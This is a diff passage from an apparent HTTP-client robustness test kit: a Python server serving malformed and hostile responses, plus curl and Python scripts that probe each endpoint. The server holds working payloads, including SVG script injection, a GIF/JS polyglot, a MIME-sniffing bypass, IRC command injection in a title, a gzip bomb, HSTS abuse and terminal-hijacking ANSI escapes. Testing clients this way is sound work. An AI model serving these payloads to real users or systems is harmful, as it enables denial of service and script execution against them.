elif p == '/hdr-no-colon': self._raw(b'HTTP/1.1 200 OK\r\nBrokenHeaderNoColon\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/hdr-dup-cl': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nContent-Length: 999\r\n\r\nhello')
|
||||
elif p == '/hdr-null': self._raw(b'HTTP/1.1 200 OK\r\nX-\x00Evil: \x00val\x00ue\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/hdr-newline': self._raw(b'HTTP/1.1 200 OK\r\nX-Bad: line1\nline2\r\nContent-Length: 5\r\n\r\nhello')
|
||||
# --- Body abuses ---
|
||||
elif p == '/body-endless': self._endless()
|
||||
elif p == '/body-none': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n')
|
||||
elif p == '/body-binary': self._r(200, {'Content-Type': 'text/html'}, bytes(random.getrandbits(8) for _ in range(4096)))
|
||||
# --- Transfer-Encoding abuses ---
|
||||
elif p == '/te-invalid': self._r(200, {'Transfer-Encoding': 'banana'}, b'hello')
|
||||
elif p == '/te-double': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n')
|
||||
elif p == '/te-bad-chunk': self._raw(b'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\nZZZ\r\nhello\r\n0\r\n\r\n')
|
||||
# --- Protocol abuses ---
|
||||
elif p == '/proto-garbage': self._raw(bytes(random.getrandbits(8) for _ in range(512)))
|
||||
elif p == '/proto-empty': self._raw(b'')
|
||||
elif p == '/proto-half': self._raw(b'HTTP/9.9 200 OK\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/proto-no-headers': self._raw(b'HTTP/1.1 200 OK\r\n\r\nhello')
|
||||
elif p == '/proto-just-newlines': self._raw(b'\r\n\r\n\r\n\r\n\r\n')
|
||||
# --- Encoding abuses ---
|
||||
elif p == '/enc-utf16': self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, 'こんにちは'.encode('utf-16'))
|
||||
elif p == '/enc-gzip-lie': self._r(200, {'Content-Encoding': 'gzip'}, b'this is definitely not gzipped')
|
||||
# --- Redirect abuses ---
|
||||
elif p == '/redir-self': self._r(301, {'Location': '/redir-self'}, b'')
|
||||
elif p == '/redir-garbage': self._raw(b'HTTP/1.1 301 Moved\r\nLocation: \x00\xff://\xf0\x9f\x92\x80:99999/../../etc/passwd\r\nContent-Length: 0\r\n\r\n')
|
||||
elif p == '/redir-chain':
|
||||
n = 0
|
||||
if '?' in self.path:
|
||||
try: n = int(self.path.split('n=')[1].split('&')[0])
|
||||
except: pass
|
||||
self._r(302, {'Location': f'/redir-chain?n={n+1}'}, f'Hop {n}'.encode())
|
||||
# --- Timing abuses ---
|
||||
elif p == '/slow-headers': self._slow(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello', 0.5)
|
||||
elif p == '/slow-body': self._slow_body()
|
||||
# --- HTML/Content abuses ---
|
||||
elif p == '/html-utf16':
|
||||
page = '<html><head><title>UTF-16LE Encoded Page</title></head><body><h1>This entire page is UTF-16LE</h1><p>But the server never declared a charset. Good luck decoding!</p></body></html>'
|
||||
self._r(200, {'Content-Type': 'text/html'}, page.encode('utf-16-le'))
|
||||
elif p == '/html-long-title':
|
||||
t = 'A' * 1000
|
||||
self._r(200, {'Content-Type': 'text/html'}, f'<html><head><title>{t}</title></head><body><h1>{t}</h1></body></html>'.encode())
|
||||
elif p == '/html-multiline-title':
|
||||
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Line 1\nLine 2\nLine 3\nLine 4\nLine 5</title></head><body><h1>Check your tab title</h1></body></html>')
|
||||
elif p == '/html-irc-title':
|
||||
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by malserv\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
|
||||
elif p == '/html-unicode':
|
||||
chars = ''.join(chr(random.randint(0x1000, 0x3000)) for _ in range(500))
|
||||
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, f'<html><head><title>{chars}</title></head><body><h1>{chars}</h1></body></html>'.encode())
|
||||
elif p == '/html-meta-refresh':
|
||||
self._r(200, {'Content-Type': 'text/html'}, b'<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0"><title>RELOADING FOREVER</title></head><body><h1>This page reloads every 0 seconds</h1><p>Your browser tab is now stuck in an infinite reload loop.</p></body></html>')
|
||||
# --- Terminal abuses ---
|
||||
elif p == '/ansi-chaos':
|
||||
a = '\033[2J\033[H'
|
||||
a += '\033]0;HACKED BY MALSERV\007'
|
||||
a += '\033[?25l'
|
||||
for i in range(80):
|
||||
row = random.randint(1, 50)
|
||||
col = random.randint(1, 120)
|
||||
fg = random.randint(31, 37)
|
||||
style = random.choice(['1', '3', '4', '5', '7'])
|
||||
char = random.choice('☠💀🔥👾🐛⚡🎭🃏♠♣♥♦█▓▒░╔╗╚╝║═')
|
||||
a += f'\033[{row};{col}H\033[{style};{fg}m{char}\033[0m'
|
||||
a += '\033[10;20H\033[1;5;31m░▒▓█ YOUR TERMINAL IS MINE NOW █▓▒░\033[0m'
|
||||
a += '\033[12;20H\033[1;5;35m░▒▓█ RESISTANCE IS FUTILE █▓▒░\033[0m'
|
||||
a += '\033[14;20H\033[1;5;32m░▒▓█ CURLING WAS A MISTAKE █▓▒░\033[0m'
|
||||
a += '\033[16;20H\033[1;33m'
|
||||
for i in range(10):
|
||||
a += f'\033[{16+i};10H'
|
||||
a += ''.join(f'\033[{random.randint(31,37)}m{chr(random.randint(0x2580,0x259F))}' for _ in range(60))
|
||||
a += '\033[0m'
|
||||
a += '\033[28;1H\033[?5h' # reverse video (flash screen)
|
||||
a += '\033[28;1H\033[?5l' # normal video
|
||||
a += f'\033[?25h\033[50;1H'
|
||||
self._r(200, {'Content-Type': 'text/plain'}, a.encode())
|
||||
# --- JavaScript browser abuses ---
|
||||
elif p == '/js-alert': self._r(200, {'Content-Type': 'text/html'}, JS_ALERT)
|
||||
elif p == '/js-history': self._r(200, {'Content-Type': 'text/html'}, JS_HISTORY)
|
||||
elif p == '/js-download': self._r(200, {'Content-Type': 'text/html'}, JS_DOWNLOAD)
|
||||
elif p == '/js-clipboard': self._r(200, {'Content-Type': 'text/html'}, JS_CLIPBOARD)
|
||||
elif p == '/js-forkbomb': self._r(200, {'Content-Type': 'text/html'}, JS_FORKBOMB)
|
||||
elif p == '/js-webgl': self._r(200, {'Content-Type': 'text/html'}, JS_WEBGL)
|
||||
elif p == '/js-audio': self._r(200, {'Content-Type': 'text/html'}, JS_AUDIO)
|
||||
elif p == '/js-popup': self._r(200, {'Content-Type': 'text/html'}, JS_POPUP)
|
||||
elif p == '/js-cookie': self._r(200, {'Content-Type': 'text/html'}, JS_COOKIE)
|
||||
elif p == '/js-beforeunload': self._r(200, {'Content-Type': 'text/html'}, JS_BEFOREUNLOAD)
|
||||
elif p == '/js-serviceworker':self._r(200, {'Content-Type': 'text/html'}, JS_SERVICEWORKER)
|
||||
# --- Image/File abuses ---
|
||||
elif p == '/img-bait':
|
||||
self._r(200, {'Content-Type': 'text/html'}, b'''<!DOCTYPE html><html><head><title>Image bait-and-switch</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px">
|
||||
<h1>Image Bait-and-Switch</h1>
|
||||
<p>The image below shows "SAFE" in green. But the download link gives you a DIFFERENT image.</p>
|
||||
<br><img src="/img-bait-view" style="border:2px solid #30363d;border-radius:8px">
|
||||
<br><br><a href="/img-bait-download" download="totally_safe.svg" style="color:#58a6ff;font-size:18px">Download this image</a>
|
||||
<p style="color:#484f58;margin-top:20px">Hint: the downloaded file says something different...</p>
|
||||
</body></html>''')
|
||||
elif p == '/img-svg-xss':
|
||||
svg = b'''<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
|
||||
<rect width="400" height="200" fill="#1a1a2e" rx="8"/>
|
||||
<text x="200" y="80" fill="#e6edf3" font-size="20" font-family="monospace" text-anchor="middle">I look like an innocent image...</text>
|
||||
<text x="200" y="130" fill="#f85149" font-size="16" font-family="monospace" text-anchor="middle">but I contain JavaScript</text>
|
||||
<script type="text/javascript">
|
||||
alert('XSS executed from SVG image!');
|
||||
document.querySelector('text:last-of-type').textContent = 'JS EXECUTED SUCCESSFULLY';
|
||||
</script>
|
||||
</svg>'''
|
||||
self._r(200, {'Content-Type': 'image/svg+xml'}, svg)
|
||||
elif p == '/img-polyglot':
|
||||
# GIF89a header that's also parseable as JS when loaded via <script>
|
||||
# GIF89a= is valid JS (assigns undefined to GIF89a), then we add our payload
|
||||
polyglot = b'GIF89a/*\x00\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;*/=0;document.write("<h1 style=color:red>GIF/JS POLYGLOT EXECUTED</h1><p>This file is simultaneously a valid GIF image and valid JavaScript.</p>");'
|
||||
self._r(200, {'Content-Type': 'image/gif'}, polyglot)
|
||||
# --- Network abuses ---
|
||||
elif p == '/net-gzip-bomb':
|
||||
self._r(200, {'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip', 'Content-Length': str(len(GZIP_BOMB))}, GZIP_BOMB)
|
||||
elif p == '/net-event-flood':
|
||||
self._event_flood()
|
||||
elif p == '/net-mime-sniff':
|
||||
if '?payload=1' in self.path:
|
||||
self._r(200, {'Content-Type': 'image/jpeg'}, b'document.getElementById("result").textContent="MIME SNIFFING BYPASSED! JS executed despite image/jpeg Content-Type";alert("MIME sniffing attack succeeded! JS ran despite Content-Type: image/jpeg")')
|
||||
else:
|
||||
self._r(200, {'Content-Type': 'text/html'}, MIME_SNIFF_PAGE)
|
||||
elif p == '/net-cache-poison':
|
||||
self._r(200, {
|
||||
'Content-Type': 'text/html',
|
||||
'Cache-Control': 'no-cache, max-age=999999, must-revalidate, public, private, no-store, immutable',
|
||||
'Expires': 'Thu, 01 Jan 1970 00:00:00 GMT',
|
||||
'Pragma': 'no-cache',
|
||||
'Last-Modified': 'Sun, 01 Jan 2090 00:00:00 GMT',
|
||||
'ETag': '"*"',
|
||||
'Vary': '*',
|
||||
'Age': '999999999',
|
||||
}, b'<html><body><h1>Which cache directive wins?</h1><p>Every cache header contradicts every other. Good luck, proxy.</p><p>no-cache + max-age=999999 + must-revalidate + public + private + no-store + immutable</p><p>Expires in the past, Last-Modified in the future, Age is 31 years, Vary is wildcard, ETag is *</p></body></html>')
|
||||
elif p == '/net-hsts-bomb':
|
||||
self._r(200, {
|
||||
'Content-Type': 'text/html',
|
||||
'Strict-Transport-Security': 'max-age=999999999; includeSubDomains; preload',
|
||||
}, b'<html><body><h1>HSTS Bomb</h1><p>Your browser now thinks this site requires HTTPS for 31 years.</p><p>This header also applies to ALL subdomains and requests preload list inclusion.</p><p>To undo in Chrome: chrome://net-internals/#hsts</p></body></html>')
|
||||
# --- Misc ---
|
||||
elif p == '/misc-ipv4':
|
||||
ip = self.client_address[0]
|
||||
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1></body></html>'
|
||||
self._r(200, {'Content-Type': 'text/html'}, body.encode())
|
||||
elif p == '/misc-ipv6':
|
||||
ip = self.client_address[0]
|
||||
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1><p>For true IPv6, connect to [::1]:{PORT}</p></body></html>'
|
||||
self._r(200, {'Content-Type': 'text/html'}, body.encode())
|
||||
elif p == '/fingerprint':
|
||||
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, FINGERPRINT_HTML)
|
||||
|
||||
def _r(self, code, headers, body):
|
||||
self.send_response(code)
|
||||
for k, v in headers.items():
|
||||
self.send_header(k, v)
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def _raw(self, data):
|
||||
self.wfile.write(data)
|
||||
self.wfile.flush()
|
||||
|
||||
def _endless(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', 'application/octet-stream')
|
||||
self.end_headers()
|
||||
try:
|
||||
while True:
|
||||
self.wfile.write(b'A' * 1024)
|
||||
self.wfile.flush()
|
||||
time.sleep(1)
|
||||
except:
|
||||
pass
|
||||
|
||||
def _slow(self, data, delay):
|
||||
try:
|
||||
for b in data:
|
||||
self.wfile.write(bytes([b]))
|
||||
self.wfile.flush()
|
||||
time.sleep(delay)
|
||||
except:
|
||||
pass
|
||||
|
||||
def _slow_body(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Length', '26')
|
||||
self.send_header('Content-Type', 'text/plain')
|
||||
self.end_headers()
|
||||
try:
|
||||
for c in b'abcdefghijklmnopqrstuvwxyz':
|
||||
self.wfile.write(bytes([c]))
|
||||
self.wfile.flush()
|
||||
time.sleep(1)
|
||||
except:
|
||||
pass
|
||||
|
||||
def _event_flood(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', 'text/event-stream')
|
||||
self.send_header('Cache-Control', 'no-cache')
|
||||
self.send_header('Connection', 'keep-alive')
|
||||
self.end_headers()
|
||||
try:
|
||||
i = 0
|
||||
while True:
|
||||
self.wfile.write(f'id: {i}\nevent: flood\ndata: {{"seq":{i},"time":{time.time()},"garbage":"{"X"*1000}"}}\n\n'.encode())
|
||||
self.wfile.flush()
|
||||
i += 1
|
||||
except:
|
||||
pass
|
||||
|
||||
def log_message(self, fmt, *a):
|
||||
print(f'\033[90m{self.address_string()}\033[0m {fmt % a}')
|
||||
|
||||
|
||||
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
allow_reuse_address = True
|
||||
daemon_threads = True
|
||||
|
||||
with ThreadedServer(('', PORT), Handler) as s:
|
||||
print(f'\033[1;31m☠ badtests running on http://0.0.0.0:{PORT}\033[0m')
|
||||
print(f'\033[90mOpen http://localhost:{PORT}/ in your browser\033[0m')
|
||||
print(f'\033[90m{len(TESTS)} test endpoints + /logs\033[0m')
|
||||
s.serve_forever()
|
||||
2040
results_curl.txt
Normal file
2040
results_curl.txt
Normal file
File diff suppressed because one or more lines are too long
1431
results_python.txt
Normal file
1431
results_python.txt
Normal file
File diff suppressed because it is too large
Load Diff
258
test.py
Executable file
258
test.py
Executable file
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env python3
|
||||
'''test.py - test all badtests.py endpoints with urllib.request, http.client, requests, and aiohttp'''
|
||||
|
||||
import http.client
|
||||
import urllib.request
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
|
||||
try:
|
||||
import requests as req_lib
|
||||
except ImportError:
|
||||
req_lib = None
|
||||
print('[!] requests not installed - pip install requests')
|
||||
|
||||
try:
|
||||
import aiohttp
|
||||
import asyncio
|
||||
except ImportError:
|
||||
aiohttp = None
|
||||
print('[!] aiohttp not installed - pip install aiohttp')
|
||||
|
||||
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 60666
|
||||
BASE = f'http://{HOST}:{PORT}'
|
||||
SEP = '--------------------------------------------'
|
||||
TIMEOUT = 5
|
||||
|
||||
ENDPOINTS = [
|
||||
# (path, title, extra_flags)
|
||||
# extra_flags: 'slow' = uses timeout, 'endless' = streaming, 'redir' = follows redirects, 'binary' = don't decode
|
||||
|
||||
# Content-Length Abuses
|
||||
('/cl-word', 'Content-Length: banana', ''),
|
||||
('/cl-empty', 'Content-Length: (empty)', ''),
|
||||
('/cl-negative', 'Content-Length: -99999999999999999', ''),
|
||||
('/cl-huge', 'Content-Length: 99999999999999999', 'slow'),
|
||||
('/cl-zero', 'Content-Length: 0 (body sent)', ''),
|
||||
('/cl-float', 'Content-Length: 3.14159', ''),
|
||||
('/cl-hex', 'Content-Length: 0xDEAD', ''),
|
||||
('/cl-null', 'Content-Length: 5\\x00', ''),
|
||||
('/cl-negative-one', 'Content-Length: -1', ''),
|
||||
('/cl-nan', 'Content-Length: NaN', ''),
|
||||
('/cl-inf', 'Content-Length: Infinity', ''),
|
||||
('/cl-mismatch', 'Content-Length: 1 (body 30 bytes)', ''),
|
||||
|
||||
# Content-Type Abuses
|
||||
('/ct-garbage', 'Content-Type: 200 random chars', ''),
|
||||
('/ct-multi', 'Content-Type: 5 MIME types', ''),
|
||||
('/ct-empty', 'Content-Type: (empty)', ''),
|
||||
('/ct-null', 'Content-Type: text/\\x00html', ''),
|
||||
('/ct-emoji', 'Content-Type: emoji', ''),
|
||||
('/ct-mega', 'Content-Type: 10KB long', ''),
|
||||
('/ct-crlf', 'Content-Type with CRLF injection', ''),
|
||||
('/ct-semicolon', 'Content-Type with 50 charsets', ''),
|
||||
|
||||
# Status Code Abuses
|
||||
('/status-neg', 'Status: -1', ''),
|
||||
('/status-zero', 'Status: 0', ''),
|
||||
('/status-999', 'Status: 999', ''),
|
||||
('/status-huge', 'Status: 99999', ''),
|
||||
('/status-word', 'Status: BANANA', ''),
|
||||
|
||||
# Header Abuses
|
||||
('/hdr-mega-name', 'Header name: 64KB of As', ''),
|
||||
('/hdr-mega-val', 'Header value: 1MB of Bs', ''),
|
||||
('/hdr-1000', '1000 headers', ''),
|
||||
('/hdr-empty-name', 'Header: : empty_name', ''),
|
||||
('/hdr-no-colon', 'Header without colon', ''),
|
||||
('/hdr-dup-cl', 'Duplicate Content-Length', ''),
|
||||
('/hdr-null', 'Header with null bytes', ''),
|
||||
('/hdr-newline', 'Header with bare \\n', ''),
|
||||
|
||||
# Body Abuses
|
||||
('/body-endless', 'Infinite body stream', 'slow'),
|
||||
('/body-none', 'Content-Length: 5, no body', 'slow'),
|
||||
('/body-binary', '4KB binary as text/html', 'binary'),
|
||||
|
||||
# Transfer-Encoding Abuses
|
||||
('/te-invalid', 'Transfer-Encoding: banana', ''),
|
||||
('/te-double', 'Content-Length + Transfer-Encoding', ''),
|
||||
('/te-bad-chunk', 'Chunked with ZZZ chunk size', ''),
|
||||
|
||||
# Protocol Abuses
|
||||
('/proto-garbage', '512 random bytes (no HTTP)', ''),
|
||||
('/proto-empty', 'Empty response (0 bytes)', ''),
|
||||
('/proto-half', 'HTTP/9.9 version', ''),
|
||||
('/proto-no-headers', 'Status line + body, no headers', ''),
|
||||
('/proto-just-newlines', 'Response is just CRLF', ''),
|
||||
|
||||
# Encoding Abuses
|
||||
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'binary'),
|
||||
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext)',''),
|
||||
|
||||
# Redirect Abuses
|
||||
('/redir-self', '301 redirect loop', ''),
|
||||
('/redir-garbage', '301 garbage Location URL', ''),
|
||||
('/redir-chain', '302 infinite unique chain', ''),
|
||||
|
||||
# Timing Abuses
|
||||
('/slow-headers', 'Slowloris: 1 byte per 0.5s', 'slow'),
|
||||
('/slow-body', 'Body: 1 byte per second (a-z)', 'slow'),
|
||||
|
||||
# HTML/Content Abuses
|
||||
('/html-utf16', 'Full HTML page as UTF-16LE', ''),
|
||||
('/html-long-title', 'HTML title is 1000 characters',''),
|
||||
('/html-multiline-title', 'HTML title with newlines', ''),
|
||||
('/html-irc-title', 'Title with IRC injection', ''),
|
||||
('/html-unicode', 'Random unicode title/body', ''),
|
||||
('/html-meta-refresh', 'Meta refresh loop (0s)', ''),
|
||||
|
||||
# Terminal Abuses
|
||||
('/ansi-chaos', 'ANSI escape code nightmare', 'binary'),
|
||||
|
||||
# Network Abuses
|
||||
('/net-gzip-bomb', 'Gzip bomb (~10KB to 10MB)', 'binary'),
|
||||
('/net-event-flood', 'SSE event flood (infinite)', 'slow'),
|
||||
('/net-mime-sniff', 'MIME type confusion', ''),
|
||||
('/net-cache-poison','Contradicting cache headers', ''),
|
||||
('/net-hsts-bomb', 'HSTS with insane max-age', ''),
|
||||
|
||||
# Miscellaneous
|
||||
('/misc-ipv4', 'Shows your IPv4 address', ''),
|
||||
('/misc-ipv6', 'Shows your IPv6 address', ''),
|
||||
]
|
||||
|
||||
|
||||
MAX_BODY = 8192 # max bytes to read from any response body
|
||||
|
||||
def truncate(data, maxlen=500):
|
||||
'''Truncate binary/long output for display'''
|
||||
if isinstance(data, bytes):
|
||||
if len(data) > maxlen:
|
||||
return repr(data[:maxlen]) + f'... ({len(data)} bytes total)'
|
||||
return repr(data)
|
||||
s = str(data)
|
||||
if len(s) > maxlen:
|
||||
return s[:maxlen] + f'... ({len(s)} chars total)'
|
||||
return s
|
||||
|
||||
|
||||
def test_urllib(path, flags):
|
||||
'''Test with urllib.request'''
|
||||
url = f'{BASE}{path}'
|
||||
timeout = TIMEOUT if 'slow' in flags else 10
|
||||
try:
|
||||
r = urllib.request.urlopen(url, timeout=timeout)
|
||||
body = r.read(MAX_BODY)
|
||||
headers = dict(r.headers)
|
||||
print(f' Status: {r.status}')
|
||||
print(f' Headers: {truncate(headers, 300)}')
|
||||
print(f' Body: {truncate(body)}')
|
||||
except Exception as e:
|
||||
print(f' ERROR: {type(e).__name__}: {e}')
|
||||
|
||||
|
||||
def test_http_client(path, flags):
|
||||
'''Test with http.client'''
|
||||
timeout = TIMEOUT if 'slow' in flags else 10
|
||||
try:
|
||||
c = http.client.HTTPConnection(HOST, PORT, timeout=timeout)
|
||||
c.request('GET', path)
|
||||
r = c.getresponse()
|
||||
body = r.read(MAX_BODY)
|
||||
headers = list(r.getheaders())
|
||||
print(f' Status: {r.status} {r.reason}')
|
||||
print(f' Headers: {truncate(headers, 300)}')
|
||||
print(f' Body: {truncate(body)}')
|
||||
c.close()
|
||||
except Exception as e:
|
||||
print(f' ERROR: {type(e).__name__}: {e}')
|
||||
|
||||
|
||||
def test_requests(path, flags):
|
||||
'''Test with requests library'''
|
||||
if req_lib is None:
|
||||
print(' SKIPPED: requests not installed')
|
||||
return
|
||||
url = f'{BASE}{path}'
|
||||
timeout = TIMEOUT if 'slow' in flags else 10
|
||||
try:
|
||||
r = req_lib.get(url, timeout=timeout, allow_redirects=False, stream=True)
|
||||
body = r.raw.read(MAX_BODY)
|
||||
headers = dict(r.headers)
|
||||
print(f' Status: {r.status_code}')
|
||||
print(f' Headers: {truncate(headers, 300)}')
|
||||
print(f' Body: {truncate(body)}')
|
||||
r.close()
|
||||
except Exception as e:
|
||||
print(f' ERROR: {type(e).__name__}: {e}')
|
||||
|
||||
|
||||
async def test_aiohttp_single(path, flags):
|
||||
'''Test with aiohttp'''
|
||||
if aiohttp is None:
|
||||
print(' SKIPPED: aiohttp not installed')
|
||||
return
|
||||
url = f'{BASE}{path}'
|
||||
timeout_val = TIMEOUT if 'slow' in flags else 10
|
||||
to = aiohttp.ClientTimeout(total=timeout_val)
|
||||
try:
|
||||
async with aiohttp.ClientSession(timeout=to) as session:
|
||||
async with session.get(url, allow_redirects=False) as r:
|
||||
body = await r.content.read(MAX_BODY)
|
||||
headers = dict(r.headers)
|
||||
print(f' Status: {r.status}')
|
||||
print(f' Headers: {truncate(headers, 300)}')
|
||||
print(f' Body: {truncate(body)}')
|
||||
except Exception as e:
|
||||
print(f' ERROR: {type(e).__name__}: {e}')
|
||||
|
||||
|
||||
def test_aiohttp(path, flags):
|
||||
'''Wrapper to run aiohttp test synchronously'''
|
||||
if aiohttp is None:
|
||||
print(' SKIPPED: aiohttp not installed')
|
||||
return
|
||||
asyncio.run(test_aiohttp_single(path, flags))
|
||||
|
||||
|
||||
def main():
|
||||
print(f'Testing badtests.py at {BASE}')
|
||||
print(f'Endpoints: {len(ENDPOINTS)}')
|
||||
print(f'Libraries: urllib.request, http.client' +
|
||||
(', requests' if req_lib else '') +
|
||||
(', aiohttp' if aiohttp else ''))
|
||||
print()
|
||||
|
||||
for path, title, flags in ENDPOINTS:
|
||||
print(SEP)
|
||||
print(f'ENDPOINT: {path}')
|
||||
print(f'TITLE: {title}')
|
||||
print()
|
||||
|
||||
print('[urllib.request]')
|
||||
test_urllib(path, flags)
|
||||
print()
|
||||
|
||||
print('[http.client]')
|
||||
test_http_client(path, flags)
|
||||
print()
|
||||
|
||||
print('[requests]')
|
||||
test_requests(path, flags)
|
||||
print()
|
||||
|
||||
print('[aiohttp]')
|
||||
test_aiohttp(path, flags)
|
||||
print()
|
||||
|
||||
print(SEP)
|
||||
print('ALL TESTS COMPLETE')
|
||||
print(SEP)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
129
test.sh
Executable file
129
test.sh
Executable file
@@ -0,0 +1,129 @@
|
||||
#!/bin/bash
|
||||
# test.sh - curl tests for all badtests.py endpoints
|
||||
# Usage: ./test.sh [host:port]
|
||||
# Output is capped at 8KB per endpoint to prevent multi-GB files
|
||||
|
||||
HOST="${1:-localhost:60666}"
|
||||
SEP="--------------------------------------------"
|
||||
MAX_OUTPUT=8192 # max bytes of curl output to capture per endpoint
|
||||
|
||||
test_endpoint() {
|
||||
local path="$1"
|
||||
local title="$2"
|
||||
local extra_flags="$3"
|
||||
echo "$SEP"
|
||||
echo "ENDPOINT: $path"
|
||||
echo "TITLE: $title"
|
||||
echo ""
|
||||
local cmd="curl -sv --max-time 5 ${extra_flags} http://${HOST}${path}"
|
||||
echo "COMMAND: $cmd"
|
||||
echo ""
|
||||
eval "$cmd" 2>&1 | head -c "$MAX_OUTPUT"
|
||||
echo ""
|
||||
echo ""
|
||||
}
|
||||
|
||||
# --- Content-Length Abuses ---
|
||||
test_endpoint "/cl-word" "Content-Length: banana"
|
||||
test_endpoint "/cl-empty" "Content-Length: (empty)"
|
||||
test_endpoint "/cl-negative" "Content-Length: -99999999999999999"
|
||||
test_endpoint "/cl-huge" "Content-Length: 99999999999999999" "--max-time 2"
|
||||
test_endpoint "/cl-zero" "Content-Length: 0 (body sent)"
|
||||
test_endpoint "/cl-float" "Content-Length: 3.14159"
|
||||
test_endpoint "/cl-hex" "Content-Length: 0xDEAD"
|
||||
test_endpoint "/cl-null" "Content-Length: 5\\x00"
|
||||
test_endpoint "/cl-negative-one" "Content-Length: -1"
|
||||
test_endpoint "/cl-nan" "Content-Length: NaN"
|
||||
test_endpoint "/cl-inf" "Content-Length: Infinity"
|
||||
test_endpoint "/cl-mismatch" "Content-Length: 1 (body is 30 bytes)"
|
||||
|
||||
# --- Content-Type Abuses ---
|
||||
test_endpoint "/ct-garbage" "Content-Type: 200 random chars"
|
||||
test_endpoint "/ct-multi" "Content-Type: 5 MIME types"
|
||||
test_endpoint "/ct-empty" "Content-Type: (empty)"
|
||||
test_endpoint "/ct-null" "Content-Type: text/\\x00html"
|
||||
test_endpoint "/ct-emoji" "Content-Type: emoji"
|
||||
test_endpoint "/ct-mega" "Content-Type: 10KB long"
|
||||
test_endpoint "/ct-crlf" "Content-Type with CRLF injection"
|
||||
test_endpoint "/ct-semicolon" "Content-Type with 50 charset params"
|
||||
|
||||
# --- Status Code Abuses ---
|
||||
test_endpoint "/status-neg" "Status: -1"
|
||||
test_endpoint "/status-zero" "Status: 0"
|
||||
test_endpoint "/status-999" "Status: 999"
|
||||
test_endpoint "/status-huge" "Status: 99999"
|
||||
test_endpoint "/status-word" "Status: BANANA"
|
||||
|
||||
# --- Header Abuses ---
|
||||
test_endpoint "/hdr-mega-name" "Header name: 64KB of As"
|
||||
test_endpoint "/hdr-mega-val" "Header value: 1MB of Bs"
|
||||
test_endpoint "/hdr-1000" "1000 headers"
|
||||
test_endpoint "/hdr-empty-name" "Header: : empty_name"
|
||||
test_endpoint "/hdr-no-colon" "Header without colon"
|
||||
test_endpoint "/hdr-dup-cl" "Duplicate Content-Length: 5 and 999"
|
||||
test_endpoint "/hdr-null" "Header with null bytes"
|
||||
test_endpoint "/hdr-newline" "Header with bare \\n"
|
||||
|
||||
# --- Body Abuses ---
|
||||
test_endpoint "/body-endless" "Infinite body stream" "--max-time 2"
|
||||
test_endpoint "/body-none" "Content-Length: 5, no body" "--max-time 2"
|
||||
test_endpoint "/body-binary" "4KB binary as text/html"
|
||||
|
||||
# --- Transfer-Encoding Abuses ---
|
||||
test_endpoint "/te-invalid" "Transfer-Encoding: banana"
|
||||
test_endpoint "/te-double" "Content-Length + Transfer-Encoding"
|
||||
test_endpoint "/te-bad-chunk" "Chunked with ZZZ chunk size"
|
||||
|
||||
# --- Protocol Abuses ---
|
||||
test_endpoint "/proto-garbage" "512 random bytes (no HTTP)"
|
||||
test_endpoint "/proto-empty" "Empty response (0 bytes)"
|
||||
test_endpoint "/proto-half" "HTTP/9.9 version"
|
||||
test_endpoint "/proto-no-headers" "Status line + body, no headers"
|
||||
test_endpoint "/proto-just-newlines" "Response is just CRLF"
|
||||
|
||||
# --- Encoding Abuses ---
|
||||
test_endpoint "/enc-utf16" "Body is UTF-16, header says UTF-8"
|
||||
test_endpoint "/enc-gzip-lie" "Content-Encoding: gzip (plaintext body)"
|
||||
|
||||
# --- Redirect Abuses ---
|
||||
test_endpoint "/redir-self" "301 redirect loop"
|
||||
test_endpoint "/redir-garbage" "301 garbage Location URL"
|
||||
test_endpoint "/redir-chain" "302 infinite unique redirect chain" "-L --max-redirs 5"
|
||||
|
||||
# --- Timing Abuses ---
|
||||
test_endpoint "/slow-headers" "Slowloris: 1 byte per 0.5s headers" "--max-time 2"
|
||||
test_endpoint "/slow-body" "Body: 1 byte per second (a-z)" "--max-time 2"
|
||||
|
||||
# --- HTML/Content Abuses ---
|
||||
test_endpoint "/html-utf16" "Full HTML page encoded as UTF-16LE"
|
||||
test_endpoint "/html-long-title" "HTML title is 1000 characters"
|
||||
test_endpoint "/html-multiline-title" "HTML title with embedded newlines"
|
